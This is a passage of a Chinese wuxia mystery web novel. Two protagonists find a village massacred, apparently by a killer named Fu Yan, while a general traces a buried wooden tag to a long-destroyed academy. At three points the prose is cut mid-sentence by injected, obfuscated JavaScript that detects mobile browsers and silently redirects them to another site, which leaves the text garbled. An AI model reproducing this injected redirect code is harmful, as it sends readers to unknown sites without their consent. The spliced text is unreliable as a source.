意料之中的回答,安晏并没有太多失落:“我先前看了许久,也同样毫无所获。” 墨白将那碎纸递还给她:“除了这张纸,你还找到了其他线索吗?” 安晏不禁叹道:“没有了,那间屋子被人打扫过,什么都没有留下。” “既如此,”墨白笑了,“明日我们再去一趟可好?” 安晏抬起头,目光里有些不解。 墨白笑着解释道:“我尚未去过屋内,若那间竹屋与伏焱有关,与我有关,或许我能想起什么也不一定。此外,房梁上、院子里,你可都有仔细检查过?” 安晏一愣:“我确实疏漏了。” “没关系。”墨白笑眼舒朗,“明天我们再一起去找,一定能找到有用的线索。” “可是,”安晏却迟疑着,“那间竹屋显然已被人盯上,我担心再遭遇埋伏……” “屋内或许还留有线索,若就此错过,你难道能甘心吗?”墨白伸出手,轻抚着她的头顶,神色却温和笃定,“不要紧,有我在呢。” 安晏心跳一顿,目光也一顿,继而,眼睫稍稍垂落下来。 她习惯了保护墨白,才说过的话她竟已忘了——墨白的武功,不在她之下。 “我……”声线不由得微微黯淡,“我可以相信你吗?” 46. 不要相信我 安晏历来是愿意相信其他人的。 不仅墨白,甚至一路遇见的那些人,谢新柳、陈应思、师成礼、袁清明,甚至顾鸿云,她都是愿意相信的。她相信世间的人大多都是好人,她相信若非逼不得已,所有人都不会害人。可为什么,刚才那一瞬,她的心里却突然浮现出那样的问题? 为什么刚才那一瞬,她的心里,却突然浮现出了伏焱的脸? 墨白的手停住了。 他似乎也很意外,但仍然笑了,轻轻抬起她的脸,不闪不避地望进她眼中:“安晏,不要相信我。”安晏不由得微愕,他却已温柔地续道,“你要相信自己,人在任何时候都要相信的,只有自己。” “墨白……”她的心底仿佛有所触动,却仍固执地,向他寻求她早已知晓答案的答案,“你原先从没有,今后也定不会,做出伤害我的事情,对吗?” “嗯。”墨白没有犹豫,火光映在他眼底,如春色旖旎的梦,“不要胡思乱想了,今夜我们好好休息,若明日真遇见敌人,也好有精力应战。” “好。”安晏不再说什么,轻轻点了点头。 不要多想了。 墨白一直在帮她,他只是隐瞒了一些事,她自己对他,不也有所隐瞒吗?师父他们的住处,她始终没有告诉他。明明她也没有完全坦白,却只有她在怀疑墨白,实在太没道理了。 ———————————— 次日清晨,云霞初绽,安晏与墨白就着寺庙背后的溪水洗了洗脸,便向苗竹村走去。 二人离开不久,却有一个黑色的影子潜进了寺庙。 正是高言雀。 地面上刻着一些纹路,他摸索了片刻,而后起身,面容无波地离开了。 墨白说,让他沿着安晏到苗竹村之前的轨迹追查,即可找到血祭剑法之主的下落。 ———————————— 回到白前辈居住的木屋,血腥味仍隐隐弥漫在空气中。屋门半敞,鲜血犹在—— 院子里却无一人。 五具尸体,不翼而飞。 安晏立在院中,眉色凝重如蒙阴翳。 “周围并无其他人。”墨白在她身后道,“不过,此地确实不宜久留,我们尽快调查吧。” “好。”安晏点点头,迈进屋子,墨白则留在院内搜寻。那五人尸体,八成是被他们的同伴——麒麟阁带走的。如果麒麟阁派了援兵,五人十人他们或许尚能应付,再的多人,他们必然打不过,就算拼力逃脱,此处线索,只怕就再不可知了。 安晏深深吸了口气,一跃而上房梁。 墨白绕着竹屋走了一圈,这四周确实没有其他人的气息。昨日五个杀手,是兵部的人,他们在此地潜伏,是为了监视这间竹屋?是为了监视苗竹村的人?是为了击杀安晏?或是……冲着自己而来? 他师从线部总管夜,又深得阁主信赖器重,十七岁即任政部总管。兵部总管姜城乌嫉妒他年轻有为,早欲除他,如今夜死了,线部衰微,若他也死了,政部亦无首,兵部便可趁势壮大,姜城乌亦可一人之下,千百人之上了。 如此说来,苗竹村偏僻遥远,倒确是暗杀上佳之地。 只是,姜城乌未免小看了阁主,更未免小看了他手里的刀。他没能联合暗部来杀自己,那就是他输了。 竹屋在南疆比比皆是,这间看起来亦毫无特别之处。屋后搭着晾晒衣物的架子,除此之外别无他物——或者,已被后来的人清理了。他什么都没有想起来,他全然不记得自己是否在这里住过,虽然夜告诉他,他或许曾和母亲住在南疆,可是—— 墨白回过头,身子倏然一僵。 他看见了竹屋唯一的一扇窗,却用木板封了个结实,他完全望不见屋内情形,头脑中却骤然生了针芒般的刺痛。 他记起了那些梦境。 散发着霉味潮湿的空气,永无光亮漆黑的屋子,被木板钉住的窗。 心脏嗵嗵狂跳起来,几乎要撕裂他的胸腔。苗竹村究竟是什么地方?是不是他的家乡?他和伏焱究竟是什么关系?他们是不是双生的兄弟?如果是,他们为何自小便分开了?十九年前究竟发生了什么?义父是不是真的有事瞒着他?可那苍山飞雪又从何而来?伏焱又为什么会说——郑楚阳与郑楚泽,像极了他和他? 数不清的疑问在脑中飞窜,他一时竟视线昏暝,七经八脉好似有气流不受控制地乱撞。他尚存一分神志,不由预感不妙,忙紧紧闭上眼,压下愈加杂乱的心绪,忽然间,一道清冽的声线闯入耳中。 “墨白,村子里好像有些不对劲。” 自再次相遇,二人就都心照不宣地改了称呼。 墨白身子一顿,仿佛云翳破开,清辉洒落,心中那一团淤塞之气也悄然散去。他深深呼吸了一口,转过身,目光已恢复往日的温润清透:“怎么了?” “虽然时辰还早,可这村子,是否太安静了?”安晏凝眸望着墨白,却有某种恐惧,如藤蔓破土而生,“你是否……闻到了院外的血腥味?” 墨白不由得僵住了。 来时路上,他只顾思索自己的记忆和梦境,到了竹院,院中血腥未散,他一心想着尽快调查,再加上昨日头痛尚未完全恢复——他竟疏忽了这么多不寻常的地方。 “我们快去各处看一看。”墨白已大步向院外走去。 安晏抿紧了嘴唇,跟在墨白身后。 ———————————— 苗竹村一共一百三十一口人,无一人气息尚存。 所有人脖颈上刀口一痕,迅疾利落,甚至,没有伤及旁侧的血管。 安晏站在蓝老伯家中,只觉脑子嗡地一响,人已不受控制地向前栽去。 墨白急忙走上一步,扶住她肩膀,她却双腿无力,二人便一起慢慢滑坐在地上。 “是……是伏焱……”安晏声线发抖,抓紧了墨白的手臂。 “嗯,我知道,你先冷静。”墨白一贯温和的嗓音此刻充满了忧虑,“这附近现在没有任何人,伏焱已经走了。” “我要杀了他,他这个魔鬼……一百多人,一夜之间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210084|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” “好,好。”墨白任由她抓疼了自己的手臂,伸出另一只手,温柔地轻轻拍打她的后背,“离开这里之后,我们继续找他,到时候,你想做什么都行。” 温润的话音如涓涓溪水萦绕耳畔,他独有的气息包裹着她,她终于渐渐冷静下来,心头却依旧沉重:“他为什么……这些村民,很多都是无辜的孩子,他为什么……” “就像三年前一样,他要消抹自己的痕迹,此次他定是发觉我们追查到了苗竹村,所以将这些可能认识他的人都一并杀了,以绝后患。” “不是……”安晏闭着眼,头骨隐隐钝痛,“不是……” 有什么地方不对,伏焱固然是要销毁存在的痕迹,但—— “我昨日已见过蓝老伯,该问的,我几乎都问了……”黑暗之中,好似有一线光亮慢慢破开,“他昨夜杀死了全村人,其实已经晚了,他为何前日不在?你我各自绕道去了其他地方,但他明明可以从沐山郡直接——不,不是,墨白——” 她霍然睁开眼,目光一瞬税利如刀,“他在!昨日,前日,他定然就在苗竹村!” 墨白的眸子深了。 仿佛幽潭无底,湮灭了天地春光。 他听懂了安晏的意思:“你是说,伏焱一早就到了苗竹村,却——因你我未至,而没有出手。昨日你终于到了,见过了里正,当夜,他便杀了所有人。 “他……既要消抹痕迹,却又想让你我知道这些,关于他的过去。” 安晏缓缓点了点头。 伏焱不可能因为被事情耽搁,故而赶来迟了,不慎让她打听到了白前辈的往事。说到底,苗竹村的线索,根本就是他亲口告诉她的。那么,只能是他故意安排,为了将那一段旧事,只告诉她和墨白两个人。 可是,为什么? 她询问地看向墨白,后者却轻轻摇头道:“我也不知道,但伏焱此举,定有其目的。眼下,我们应该先回竹屋,继续搜寻线索。” “竹屋……”安晏眼睫微动,心下一时踟蹰,“伏焱会不会早已去过竹屋,原本留下的东西,还有那五个人,有没有可能是伏焱处理的?” “我想,伏焱没有回去过那间竹屋。”墨白笑了笑,眉眼染上春风,已将那些碎冰埋进了眼底,“你想,如果伏焱收拾过屋子,他会如此粗心大意,没有看见那张碎纸吗?或者,那张碎纸是他故意留下——那你觉得,他会认为一张普通的碎纸,比任何其他东西,更能传达他要告诉你的信息吗?” 安晏凝眉沉吟着:“可他若要彻底消抹过去,他不该将整间竹屋,甚至整个苗竹村一把火烧干净吗?”目光微黯,“——他也不是,没做过这样的事。” “我想,或许竹屋里,有他不想面对的东西。”墨白猜测道,“又或许那间竹屋,就是他不想面对的东西。” 恐惧也好,眷恋也罢,人能彻底放下过去,其实很难。 安晏默然,最后从地上起身。墨白也随她一并站了起来,她将眼梢压得低了:“好,我们再回去找一找。” 47. 他杀人总喜欢杀个干净 然而,安晏将整间竹屋里里外外上上下下又翻了一遍,却没有找到任何东西了。 “这里,或许真的什么都没有留下了。”安晏站在屋顶,望着春光笼罩下的苗竹村,繁花似锦,姹紫嫣红,却染着冰冷的死气。 心头微僵了僵,她垂下眼睫,竟不敢再看。 或许,他们的死,她也有责任。她明明就在不远,她明明应该想到,伏焱也会来。 甚至,如果,她能在沐山郡时,就杀了…… “安晏。” 忽听墨白在屋侧唤她。 她深深呼吸一口,从屋顶上跃下。 “这块泥土,似乎和旁边有些不同。”墨白已蹲下身,从袖中抽出墨刀,小心地插进土里。安晏也蹲在他身边,待土块松动,她便伸手,将碎土仔细拨开。 两个人不约而同地顿住了。 二人对视一眼,安晏从土中将那块木牌拿了出来。 木牌已很旧了,裂痕纵横,上面刻的字也被潮气腐蚀而辨不清晰,隐隐约约,似乎是一个数字。 “你对它,可有什么印象?”安晏将木牌递给墨白。 “这是……廿八?”墨白蹙眉思索良久,最后仍摇了摇头。不止毫无印象,他看着这块木牌,竟连往常头脑中的刺痛之感都没有,“我应该从未见过,但这木牌虽然旧了,却边角光滑,雕工细致,木材也是上好的花梨木,只怕并非寻常木件。” 安晏十分惊奇:“我竟不知,你对木材很有研究?” 墨白笑了,笑得如湖上的日光:“不止木材,衣染香绣、琴棋书画至奇门遁甲,我都有了解。你若有兴趣,我们接下来的日子还很长,我可以慢慢告诉你。” “什,什么接下来……”安晏听出墨白的调侃,脸颊又顿时红了。不过,他确实广读诗书无所不晓,而今她知他刀法亦出类拔萃,更觉得他无所不能了。 温柔、英俊、广识、善武……他简直,不像一个人。 安晏正在这胡思乱想,忽然,听见村子里传来了脚步声。 墨白自然也听见了,他起身,将木牌放进手里,已收起脸上的调侃之色:“我去看一眼。” 安晏点点头,墨白贴着墙,慢慢探出身子。 不久,他便回身,眉色凝重:“是官兵。” “官兵?”安晏一惊,“难道,是全村被灭,终究惊动官府了?” “或许。”墨白用脚将方才挖出的土踢了回去,又结结实实地踩上几脚,“他们很快就会走到这边,我们先离开此处。” ———————————— 二人隐蔽在屋后树丛中,屏息敛气,透过枝叶观察着村子里的动静。官兵有十几人,在村子里四散开来,也有两人走进了白前辈的竹院。 然而看见那两个人,安晏和墨白都不由得一怔。 竟是顾鸿云和袁清明。 “这屋子,十几年没住人了吧?”袁清明上下打量了竹屋一番,阳光耀眼,她抬起手遮在额头。 “嗯。”顾鸿云却只简短地应了一声,抬步走进竹屋。 “多说两个字,会咬到舌头吗?”袁清明冲着他的背影做了个呲牙咧嘴的表情,也在院子里闲逛起来。她和顾鸿云一路循着标记,追着墨白,来到南疆乐平县。官府的人有几个暗线,实在不足为奇,她自己就做过,于是也没有去打听。然而在乐平县的第一碗汤面还没吃完,她就听见街上百姓的议论——城南苗竹村惨遭血洗,无人生还。 她抬起头,看见顾鸿云放下了筷子。 “能不能等我吃完这碗面……唉,算了。”袁清明也没胃口吃饭了,“走吧,你肯定打算去找县尉,然后带人去苗竹村吧?——你觉得这事,会和墨公子、伏焱有关?” “嗯。”顾鸿云惜字如金,起身,向外走去。 袁清明根本不知道他究竟在回答她哪个问题。 “墨公子就在附近吧?你看到了最新的标记吗?他是不是往南去了?” “尚未,待见过县尉,我自会去城门处查看。” “屠村像极了伏焱的手法,他杀人总喜欢杀个干净,这事会不会也是他做的?”袁清明犹自分析道,“如果真是这样,墨公子是不是追着伏焱过来的?也不知道安姑娘在什么地方,她会不会也在附近?” 顾鸿云没有说话。 “可他好端端的,为何又要杀死这个村子里的人?这里离沐山郡远得很——不对,他既然是杀人魔,早就不能用常理分析了。”又叹了声,“可惜我实在不了解他,如果安姑娘在,就好了。” 顾鸿云仍旧没有说话,只是觉得太吵,而微微皱起了眉。 “不知道这回,刑审院的人还会不会来。都说刑审院没有解决不了的案子,没有抓不住的犯人,我看也不过如此,他们抓伏焱,已经好些年了——诶不对,成州凶案的凶手,是不是还是安姑娘和墨公子?” “嗯。”顾鸿云终于应了一声。 “这事情本就是你胡乱安的罪名,刑审院的人怎么也不好好调查?”袁清明一顿,立时义愤填膺起来,“你怎么不写封信,告诉他们原因?你不是将军吗?你们都在王都当差,你在刑审院里,总有一两个认识的人吧?” “没有。”顾鸿云面无表情,停住脚,“到了。” “什么到了,我在说——”袁清明循着顾鸿云的目光看去,后半句话被她咽回了肚子里。 县衙到了。 ———————————— “禀张县尉,村中一百三十一口人,确无一人生还。大家正搬运清点尸体,暂时都放在了村口。”院外,一个治吏回禀道。 “好,我和顾将军稍后过去。” 张县尉打发走了那治吏,而后走进竹屋,恭敬地微微躬身:“顾将军,您是否要随下官一同前去查看尸首?”见顾鸿云抚着被木板封住的窗边,眉心紧锁成一道川字,不由得问道,“这间屋子……可是有何不妥?” 顾鸿云淡淡掠了他一眼,收回手:“无事,走吧。” 顾鸿云随张县尉走向村口,袁清明也跟了上去。村外上百具尸体整整齐齐地曝晒于荒野中,掾吏仍在忙碌奔走,核对名册。春光温暖明媚,顾鸿云和袁清明心头,却都泛起了入骨的冷。 即使他征战沙场见过无数生死,即使她行走江湖见过无数血腥,他们此刻,却不约而同地感觉到了某种隐含着恐惧的冷。 张县尉似乎也有些不适,远处几个没见过世面的掾吏,已蹲在树荫下干呕起来。 但其实,这些人的死状,都并不惨烈。 杀人凶手刀法极快,又准确利落,小小乐平县的治吏和县尉,这一生也未尝见过如此精准的刀法。 但顾鸿云却很熟悉。 ——他们颈上的伤口,和成州一案中死去的那些人,一模一样。 这个人,杀了一百多人,不见半分迟疑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216832|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你看出了什么?”袁清明凝眉问,“这个凶手,武功远远胜过我。” “嗯。”顾鸿云目光沉肃,“这件案子的凶手,和成州连续杀人案的凶手,是同一人。” 袁清明一怔:“一样的伤口和刀法?” “是。”顾鸿云又蹲下身,仔细观察了片刻,“比起那时,又更娴熟了。” 袁清明眉心愈紧:“所以,这果真是伏焱……” “或者,是墨白。”顾鸿云起身,目光幽沉如渊。 “你怎么还觉得安姑娘与墨公子,是成州杀人案的凶手?”袁清明觉得这人简直不可理喻,“我一路和你说了多少次,你讲不通道理,也该有个限度吧?” 顾鸿云淡淡瞥了袁清明一眼:“我从未见过伏焱。” 所以,袁清明说得再多,安晏说得再多,他都必须亲眼见过那个人,才能相信。 他走向张县尉:“劳烦张大人,处理后事了。” “不敢。”张县尉忙道,“顾将军可还要去村中察看?” “嗯。”顾鸿云问,“方才那间屋子,是否有人居住?” 这问题倒是问住了张县尉,他连忙叫来管理户籍的主簿,主簿翻了半天册子,道:“册上并无记录,那间竹屋,应该只是一间废弃无人的屋子。” 顾鸿云目色微沉:“再去细查。” 主簿唯唯诺诺地应了,张县尉不解道:“那间屋子,将军似乎一直十分关注,可是有何异常?” “竹屋久无人居,院子里,却有一些新的脚印。”顾鸿云已转身走回村中,“我自行察看即可,如有需要,再麻烦张大人。” ———————————— 顾鸿云和袁清明在竹屋里翻找了一个时辰。 什么都没有找到。 “院子里的确有新留下的脚印,但是,这能说明什么?”袁清明坐在门槛上,竹屋内不通风,而显得有些闷热。 “墨白或者伏焱,可能来过。”顾鸿云道。 “这间屋子?”袁清明不由得抬起头,再次打量了一番,“可这里什么都没有,难道,是被他们拿走了?墨公子也是来寻找线索的吗?” 顾鸿云从袁清明身边,面无表情地迈出了门槛:“待主簿查过名册,或许就知道了。” ———————————— 主簿跑了一趟县衙,直到夕色黯淡,月华初升方才返回。一进村子,他就匆匆来向顾鸿云禀报:“顾将军,您所料不错,这竹屋虽近些年无人居住,但十九年前,却住过一个姓白的女人。” 顾鸿云问:“只有她一个人?” 主簿道:“不是,她还有两个孩子,是一对双胞胎。” 顾鸿云和袁清明齐齐一怔。 袁清明噌地站了起来:“他们是苗竹村的人吗?那对双胞胎叫什么?你们县衙,有没有白姑娘或者两个孩子的画像?他们后来呢?是不是还活着?去了什么地方?” “顾将军,袁姑娘,户册只记载了这位白姑娘是外村迁入之户,其他的,下官也不知晓了。”主簿为难道,“等此处事情妥当,下官回到县衙,定再详细调查,但……终究是十多年前的事,能否查清,还请恕下官不敢保证。” “嗯,我知道了,你下去吧。”顾鸿云并未多言,目光却愈加地深了。 最后一抹夕光已落入远山背后,遥远的星辰静悄悄地闪烁,苗竹村的灯火,却永远不再亮了。 48. 只会白白丧命 “看来,他们要后半夜才会离开了。” 安晏稍稍活动了一下身子,在树丛间蹲了太久,她手脚都有些僵硬。 然而侧过头,她却看见墨白眉心不展,正一瞬不瞬地注视着手中那块木牌。 “可是看出了什么端倪?”她连忙凑上前。 “没有。”墨白道,语气却毫无失落,反而轻挑起嘴角,染上几分狡黠,“但是,我想到了一个好办法。” “什么办法?” “就是,利用这些官兵,利用——顾将军。” 安晏一怔,循着墨白的视线,将目光投过重重树影。顾鸿云遥远地站在树下,夜色昏暝,神情早已不可辨。她明白了墨白的意思。 “好。”她咽下一口口水,眸子闪动着如夜的光,“现在时机正好,我去把它放回原处。” 墨白顿了顿,却凝重地道:“千万不要心急,如果觉得危险,就不要贸然接近了,我们再另寻机会。” 安晏从墨白手里拿过木牌,展颜一笑:“我对自己的轻功,还是很有把握的,你放心吧。” 她悄无声息地爬下树干,眨眼间如滴水入海,融进了夜色。 ———————————— 已近子时,月亮早已升过树梢,袁清明支着下巴看官兵掩埋尸体,灯笼昏昏,叶影摇晃,她忍不住打了一个巨大的呵欠。 “将所有人下葬,恐要数个时辰,袁姑娘若累了,可先去休息。”一旁,顾鸿云目不斜视,开口道。 “那可不行,我同安姑娘说好了,必须看住你。”袁清明睡眼朦胧却是毫不迟疑地拒绝了,“再说,如果查出什么线索,我还要记下来,到时候也能帮安姑娘尽快找到伏焱。” 顾鸿云稍稍侧目,却未再说什么。 一路上不知道听她说了多少回,仿佛在她眼中,他就是一个顽固不化、不分是非,时刻欲置安晏于死地的穷凶极恶之徒。 不过,他从未辩解过一句。 他原就不擅长辩解,许多人给他安上莫须有的罪名,他唯一的回应就是沉默。他总是想着,他没有做错,真相总会水落石出。 是,其他都不重要,他要的,一直都只是真相而已。 “不过,我说,咱们在这等着,也帮不上什么忙。”袁清明没有察觉顾鸿云心里的活动,拍拍衣角起身,“我刚才想起,咱们可以去白姑娘家坐一坐,虽然可能找不出什么东西了,但总比留在这里有用吧?” 顾鸿云静了静:“好。” ———————————— 往村子深处走,人声渐消,树影幽暗,惨淡的月光笼着天地,却照不亮这一座寂静荒芜的城。 袁清明找掾吏要了一盏提灯,此刻提灯在她手中晃着,就像另一盏月亮。 她一路嘀咕着:“墨公子叫做‘墨白’,这间竹屋的主人也姓白,她会不会和墨公子有什么关系?可是,我听说墨公子是黎州人,这‘白’,倒也不是什么少见的姓。不知道安姑娘去了什么地方,她比我聪明,一定能看出这间竹屋的蹊跷。” 说话间,二人已走到竹院,顾鸿云一路未言,直到进了竹院,他才平声道:“既然来了,不妨看一看院子里,有无疏漏之处。” “院子?”袁清明立时赞同道,“的确,白姑娘如果是遇上麻烦才离开苗竹村,或者,她是被人灭了口,将要紧东西埋在院子里,的确更安全一些。” 说着,她已弯下腰,就着烛光仔细搜寻起来,“只是,这灯笼太暗了,我看明天还需要——” 忽顿了顿。 “顾将军……”她抬手,指着不远处屋角边上的泥土,四周皆平整光滑,唯中间有一处蓬松杂乱,显然不久前才被人挖开过。 而且,手法粗糙,简直像是……生怕其他人不能发现。 “嗯。”顾鸿云微微颔首,目光也沉肃了。他迈上两步,在屋角蹲了下来。 “挖开看看?”袁清明提着灯笼,走得近了,这一处泥土更显得诡异。 顾鸿云不说话,将土直接挖开了。 地下的东西——那块木牌,埋得不深,顾鸿云将它取出,又往下挖了几许,不见其他物什,才缓缓站了起来。 “是什么东西?”袁清明凑上前,“一块木牌?刻了名字吗?” “没有。”顾鸿云拂去木牌上的尘土,“只有一个数字,但也模糊了,大约是廿八。” “我看看。”袁清明也不等顾鸿云首肯,径直拿过木牌,正正反反端详了许久,“这到底是个什么东西?” “我也不知道。”烛影幽幽,愈衬得顾鸿云眉色深邃,“但这木牌,是有人故意放在此处。” “是啊。”袁清明将灯笼凑近地上被翻起的土,“这痕迹也太明显了,而且,似乎是不久前——似乎就是今日,才埋进土里的。” 顾鸿云微微颔首,他和袁清明所想,不谋而合。 “可是,那人为什么要故意让我们看见这块木牌?”透着火光看去,木牌上裂痕斑驳,花纹亦被磨得极难辨认,“它已经很旧了,那人是从哪找来这么一件旧物?这是十九年前白姑娘的东西吗?这件旧物,又能说明什么呢?” 顾鸿云肃声道:“这木牌,应是被人挖出后,又埋回原处。” 袁清明一怔:“难道,那人没有看出这木牌的玄机,才又将它放了回来,再故意引我们发现?可他为何觉得,你我就一定认得这木牌?”她又低头看了看,眉心蹙得愈紧,“而且,那个人会是谁?伏焱……或者墨公子吗?他是不是,仍在苗竹村里?” 顾鸿云平静地道:“或许。” 袁清明简直受够他这般拖泥带水的回应了:“什么或许?你多说几个字,会咬到舌头不成?” 顾鸿云瞥了袁清明一眼,这才又道:“他们,或许的确仍在苗竹村。我从未见过相似的木牌,但是官府案宗,或许有所记载,放回木牌之人,也定然想利用这一点。” ———————————— 风声袅袅,将顾鸿云的话音送入屋后的树丛,安晏不由得望了眼墨白,低声道:“这顾将军,倒是有些才智。” 墨白柔声笑着:“袁姑娘聪慧,也在我意料之外。” 安晏频频点头:“袁姑娘的感觉,总是很准。” 墨白笑眯眯地看着她:“都不及你之万一。” ———————————— 袁清明不由得举起灯笼,四下望了一周。 然而只有微凉的夜风穿梭于漆黑如幽冥的树影,她望不见任何人,也听不见任何声响。 若是墨白也就罢了,他和安晏一头,怎么也不会害自己,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226760|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若是伏焱正蛰伏在那片黑暗中…… 光是想想,就不寒而栗。 “袁姑娘,我们走吧。” 忽然,顾鸿云的声音在身后响起。她骇了一跳:“走?去哪里?这院子还有很多地方没有仔细检查,不看了吗?” “先前的人,必定已仔细找过,他想留给我们的,只有这一块木牌。” 顾鸿云此言有理,袁清明也点了点头,但仍不放心地又问:“那个人,要不要让官兵在村子里搜寻一下?不知道他在什么地方,我只怕连觉都睡不踏实。” 顾鸿云却淡声否决了:“村野幽暗,利于潜藏,官兵去了,也只会白白丧命。” 袁清明叹了口气:“也对,那我们……真的要去调查这块木牌的来历吗?” 顾鸿云肃目道:“是。” 袁清明拧紧了眉:“那不是正好如了他的心意——如果,是伏焱做的,我们就这样被他利用?万一他知道了木牌的来历,又去杀人,我们该怎么办?” 被敌人牵着鼻子走,而且敌人她还打不过,这种滋味实在太憋屈了。 然而顾鸿云却道,声线平静但笃定:“不论是谁所为,木牌背后,必定有更进一步的真相。我要做的,只是找出真相。” “你……”袁清明被噎了一下,她觉得他这话不对,可竟不知道该如何反驳。 “袁姑娘,走吧。”顾鸿云已抬步,向院外走去。 为了真相,他不惜私扣罪名,不惜越权插手——已经走到了这一步,无论如何,他都不会,也不能停下了。 ———————————— “墨白。”顾鸿云与袁清明的身影融进夜色,安晏的目光却越来越凝重,“你有没有觉得,不对劲?” 墨白倒有些意外:“怎么了?” “说到底,顾将军为何会来苗竹村?”安晏望着墨白,树叶密密匝匝,只漏下几许幽淡的月影,“苗竹村出事不过一日,他必定是恰巧在乐平县,才能随官兵一起赶来。可他为何会恰巧在乐平县?伏焱告诉我苗竹村的时候,他和袁姑娘,都理应不在郑府。” 墨白微微蹙起眉:“顾将军既然在追查伏焱,或许是追着他来的。又或许,他是追着你,追着我来的。” “我这一路,至少到南疆之前,应该不会有人跟踪。你呢?路上,你可有发觉什么不对劲的?”安晏说得肯定,主要是,她回去找了师父一趟。就算她没能察觉跟踪者,许姨姨和唐姨姨也一定不会遗漏。 “我也不曾察觉有人跟踪我,不过,不管他究竟追着谁来到了乐平县,他的出现对我们而言,都是一件好事。”墨白却似乎不以为意,轻轻笑着道,“许多事情我们不方便查,有官府的人帮忙,我想,多少会简单便捷一些。” 官府自然行事方便,但最主要的问题是,高言雀不在。 而且,他心下已几乎断定,顾鸿云是追着他来的。顾鸿云与袁清明数次提起他与伏焱,却几乎未提安晏——他们不知道,安晏此刻也在苗竹村。 他一路并未刻意隐匿行踪,有人能为顾鸿云提供情报,也不足为奇。而伏焱……他不相信他和安晏都找不到的人,顾鸿云却能找到。 不过,有一点,他和顾鸿云所想却是一样的。 ——无论用什么手段,找到事情的真相。 49. 千秋院暴乱 顾鸿云调出了乐平县所有卷宗,县城记录不全,他又去了一趟郿襄郡与临郡——丰泽郡郡府。袁清明几乎寸步不离,随顾鸿云四处奔走,安晏与墨白也始终远远地坠在二人身后。 安晏与墨白身法轻盈,躲在暗处,顾鸿云与袁清明察觉不到他们,他们却能将二人对话尽数听进耳中。白日里,安晏与墨白多是听顾鸿云与袁清明分析线索,夜里,后者睡去,他们有时也休息补觉,有时则悄悄溜进县衙郡衙,亲自看一看文书。 这一折腾,足足过了两月有余。 夏天也到了。 蝉鸣声震耳欲聋,更能掩盖墨白与安晏的动作。大海捞针一般的寻找终于有了答案——二十四年前,苍州苍目山,几大门派曾建立了一处机构。 那块木牌,正是机构中的人,每人一块代表身份的腰牌。 “几大门派联手重修千秋院?集江湖英杰,做修文习武之所?”袁清明重复了一遍顾鸿云的话,满眼都是怀疑。 她不信,一点都不信。 她行走江湖数年,虽说大多时候都在清州附近,离苍州很远——但,江湖上的消息她可没少打听。重修千秋院也好,几大门派联合也好,听起来就不是小事,她为何完全没听说过? 顾鸿云将手中的卷册递给她。 “都说了几遍,我不识字。”袁清明没好气地说,“算了,我姑且信你,然后呢?那些江湖英杰都是谁?后来又去了什么地方?” 二十四年前所谓的“江湖英杰”,如今都已步入中年了吧。 顾鸿云却摇头道:“那些人的姓名,卷上并无记载。” “真的?”袁清明一顿,还是无法相信,“你不要欺负我不识字,就找个借口骗我。” 平白遭人质疑,顾鸿云却不恼,再次抬手递上卷册,语气倒十分诚恳:“袁姑娘不信我,自可拿着它,去找可靠之人求证。” 袁清明没接,盯着顾鸿云的脸看了半晌:“那后来呢?千秋院如今,总不会仍住着那些人吧?” 顾鸿云仍摇了摇头,再开口时,声线却微微哑了:“后,千秋院暴乱,生还者无。” 他说完这一句,整间屋子都静了下来。 屋外的树影中,安晏和墨白听见,神色也皆默然。 怕又是数十数百人的性命,记在纸上,却只剩了这么寥寥一句。 随即,他们都想到了建德县郊外的明思院。 二者形容,几乎同出一辙,皆是英杰之才,皆是训练之所,皆是暴乱厮杀,唯一的不同,是明思院里,伏焱活了下来。 苍目山的千秋院,是另一座“明思院”吗? 袁清明使劲咽下口水:“这卷文书,可信吗?” 顾鸿云道:“官府案卷,若私自作假,乃是重罪。” 袁清明默了片刻:“可这里也记得不全,几大门派的目的,那些人的姓名,根本一个字都没有写。要不要再去其他郡县看一看?或者,王都那里,会不会有更多记载?” “或许。”顾鸿云稍稍停顿,“但我打算,直接去苍目山所在的苍源郡。沿路若途径郡府,再稍作调查即可。” 袁清明不由得一愕:“你,我们,不追墨公子了吗?你每日去看城外的标记,墨公子仍在洛州郡内,不是吗?” 安晏和墨白对视了一眼。 他们二人都未留意城外的标记,竟有人一路跟着他们,一直监视着他们,他们却始终未曾察觉? 顾鸿云神情严肃:“苍目山上,一定有更多线索,或许一切事情的起因,就在那里。” “这我知道。”袁清明也紧紧蹙起眉,“既然你定了主意,我和你一起去。你打算什么时候动身?明天?” 顾鸿云却摇头道:“此行恐怕危险重重,袁姑娘还是,不要与我同去了。” 